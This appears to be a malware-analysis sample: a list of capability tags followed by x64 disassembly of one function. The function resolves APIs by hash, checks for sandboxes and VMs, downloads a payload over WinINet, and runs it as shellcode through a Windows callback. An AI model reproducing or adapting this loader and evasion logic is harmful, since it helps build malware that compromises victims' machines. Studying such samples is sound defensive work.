Function at 0x140002bf8
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor ebx, ebx
or r13d, 0xffffffff
lea r12d, [rbx + 1]
mov rdx, qword [rax + 0x30]
movsxd rcx, dword [rdx + 0x3c]
mov r10d, dword [rcx + rdx + 0x88]
add r10, rdx
cmp r10, rdx
je 0x140002c95
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140002c95
mov esi, dword [r10 + 0x20]
add r9d, r13d
lea rcx, [rdx + r9*4]
mov r8d, dword [rcx + rsi]
add r8, rdx
mov r11d, 0x7833fb72
mov cl, byte [r8]
add r8, r12
test cl, cl
je 0x140002c90
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140002c70
cmp r11d, 0x200e4efe
je 0x140002c9a
test r9d, r9d
jne 0x140002c52
mov rax, qword [rax]
jmp 0x140002c2d
mov ecx, dword [r10 + 0x1c]
add rcx, rdx
mov eax, dword [r10 + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, rdx
call rcx
mov ecx, 0x3ff
and ax, cx
mov r8d, 7
lea r14d, [r8 - 3]
mov qword [rbp - 0x50], rbx
lea ecx, [r8 + 8]
mov qword [rbp - 0x38], rcx
cmp ax, r14w
jne 0x140002cfe
mov edx, r8d
mov eax, dword [str.Chinese]
mov dword [rbp - 0x50], eax
movzx eax, word [0x14003b82c]
mov word [rbp - 0x4c], ax
mov al, byte [0x14003b82e]
mov byte [rbp - 0x4a], al
mov byte [rbp - 0x49], bl
jmp 0x140002d18
mov edx, 5
mov eax, dword [str.Error]
mov dword [rbp - 0x50], eax
mov al, byte [0x14003b834]
mov byte [rbp - 0x4c], al
mov byte [rbp - 0x4b], bl
mov qword [rbp - 0x40], rdx
lea rax, [rbp - 0x50]
cmp rcx, 0x10
cmovae rax, qword [rbp - 0x50]
cmp rdx, r8
jne 0x14000325a
lea rdx, str.Chinese
mov rcx, rax
call fcn.14000b3a0
test eax, eax
jne 0x14000325a
lea rcx, str.C:Program_FilesVMware
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x140003275
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x140003275
call fcn.140001ed0
test al, al
jne 0x140003275
call fcn.1400020a0
cmp eax, 0x3d0900
jl 0x140003275
call fcn.140002238
cmp eax, 2
jl 0x140003275
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x140002e12
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140002e12
mov esi, dword [r10 + 0x20]
add r9d, r13d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov r11d, 0x8849344b
mov cl, byte [rdx]
add rdx, r12
test cl, cl
je 0x140002e0d
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r12
test cl, cl
jne 0x140002dee
cmp r11d, 0xf231c5e0
je 0x140002e17
test r9d, r9d
jne 0x140002dd2
mov rax, qword [rax]
jmp 0x140002dad
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
lea rcx, [rbp - 0x30]
call rdx
cmp dword [rbp - 0x10], r14d
jbe 0x140003275
call fcn.140002344
cmp eax, 0x64
jl 0x140003275
lea rdx, [0x14003b8a8]
lea rcx, [0x140041380]
call fcn.14000509c
mov rcx, rax
call fcn.140005280
call fcn.140002590
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
movsxd rcx, dword [rdx + 0x3c]
mov r10d, dword [rcx + rdx + 0x88]
add r10, rdx
cmp r10, rdx
je 0x140002ee7
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140002ee7
mov esi, dword [r10 + 0x20]
add r9d, r13d
lea rcx, [rdx + r9*4]
mov r8d, dword [rcx + rsi]
add r8, rdx
mov r11d, 0x5411ebf4
mov cl, byte [r8]
add r8, r12
test cl, cl
je 0x140002ee2
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140002ec2
cmp r11d, 0x65ef152e
je 0x140002eec
test r9d, r9d
jne 0x140002ea4
mov rax, qword [rax]
jmp 0x140002e7f
mov ecx, dword [r10 + 0x1c]
add rcx, rdx
mov eax, dword [r10 + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, rdx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
lea rcx, [0x14003b8b8]
call r10
mov r15, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
movsxd rcx, dword [rdx + 0x3c]
mov r10d, dword [rcx + rdx + 0x88]
add r10, rdx
cmp r10, rdx
je 0x140002f99
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140002f99
mov esi, dword [r10 + 0x20]
add r9d, r13d
lea rcx, [rdx + r9*4]
mov r8d, dword [rcx + rsi]
add r8, rdx
mov r11d, 0xff1fcb3
mov cl, byte [r8]
add r8, r12
test cl, cl
je 0x140002f94
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140002f74
cmp r11d, 0xb4b7d3b8
je 0x140002f9e
test r9d, r9d
jne 0x140002f56
mov rax, qword [rax]
jmp 0x140002f31
mov ecx, dword [r10 + 0x1c]
add rcx, rdx
mov eax, dword [r10 + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, rdx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14003b8d0]
mov rcx, r15
call r10
mov rsi, rax
test rax, rax
je 0x140003275
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdx, qword [rax + 0x30]
movsxd rcx, dword [rdx + 0x3c]
mov r10d, dword [rcx + rdx + 0x88]
add r10, rdx
cmp r10, rdx
je 0x14000305d
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14000305d
mov r14d, dword [r10 + 0x20]
add r9d, r13d
lea rcx, [rdx + r9*4]
mov r8d, dword [rcx + r14]
add r8, rdx
mov r11d, 0x57ee38d1
mov cl, byte [r8]
add r8, r12
test cl, cl
je 0x140003058
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140003038
cmp r11d, 0x255efefa
je 0x140003062
test r9d, r9d
jne 0x14000301a
mov rax, qword [rax]
jmp 0x140002ff5
mov ecx, dword [r10 + 0x1c]
add rcx, rdx
mov eax, dword [r10 + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, rdx
lea r9, [rbp + 0x48]
mov r8d, r12d
lea rdx, [rbp + 0x40]
mov rcx, rsi
call r10
test eax, eax
je 0x140003275
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x40]
lea rcx, [0x140041380]
call fcn.14000509c
mov rcx, rax
call fcn.140005280
mov ecx, dword [rbp + 0x48]
call fcn.140008c88
mov rdi, rax
call fcn.14000edd0
mov ecx, eax
mov r14d, 0x4ec4ec4f
mov eax, r14d
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
imul eax, ecx, 0x3e80
movsxd rcx, eax
call fcn.140001df0
mov r9d, dword [rbp + 0x48]
mov r8d, ebx
test r9, r9
je 0x140003122
mov rcx, rdi
lea rdx, [rbp + 0x40]
sub rdx, rdi
mov al, byte [rdx + rcx]
mov byte [rcx], al
add r8d, r12d
add rcx, r12
movsxd rax, r8d
cmp rax, r9
jb 0x14000310f
call fcn.14000edd0
mov ecx, eax
mov eax, r14d
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
imul eax, ecx, 0x2710
movsxd rcx, eax
call fcn.140001df0
mov edx, dword [rbp + 0x48]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.14000edd0
mov ecx, eax
mov eax, r14d
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
imul eax, ecx, 0x3e80
movsxd rcx, eax
call fcn.140001df0
mov ecx, dword [rbp + 0x48]
mov rdx, rdi
cmp rsi, rdi
jbe 0x1400031c1
lea r8, [rcx + rdi]
cmp rsi, r8
jae 0x1400031c1
lea rdx, [rcx - 1]
add rdx, rsi
dec r8
test rcx, rcx
je 0x1400031da
mov al, byte [r8]
mov byte [rdx], al
sub rdx, r12
sub r8, r12
sub rcx, r12
jne 0x1400031af
jmp 0x1400031da
test rcx, rcx
je 0x1400031da
mov r8, rsi
sub r8, rdi
mov al, byte [rdx]
mov byte [rdx + r8], al
add rdx, r12
sub rcx, r12
jne 0x1400031cc
call fcn.14000edd0
mov ecx, eax
mov eax, r14d
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
imul eax, ecx, 0x3e80
movsxd rcx, eax
call fcn.140001df0
mov r9d, 0x15
mov r8d, r13d
mov edx, 0x400
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call fcn.1400032d4
mov rcx, rax
call fcn.140005280
call fcn.14000edd0
mov ecx, eax
mov eax, r14d
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub ecx, eax
imul eax, ecx, 0x3e80
movsxd rcx, eax
call fcn.140001df0
mov rcx, rdi
call fcn.140008c44
jmp 0x140003278
lea rdx, [0x14003b870]
lea rcx, [0x140041380]
call fcn.14000509c
mov rcx, rax
call fcn.140005280
mov ebx, r12d
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1400032af
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400032cc
call fcn.140008c44
mov eax, ebx
mov rbx, qword [rsp + 0xd0]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400116c8
int3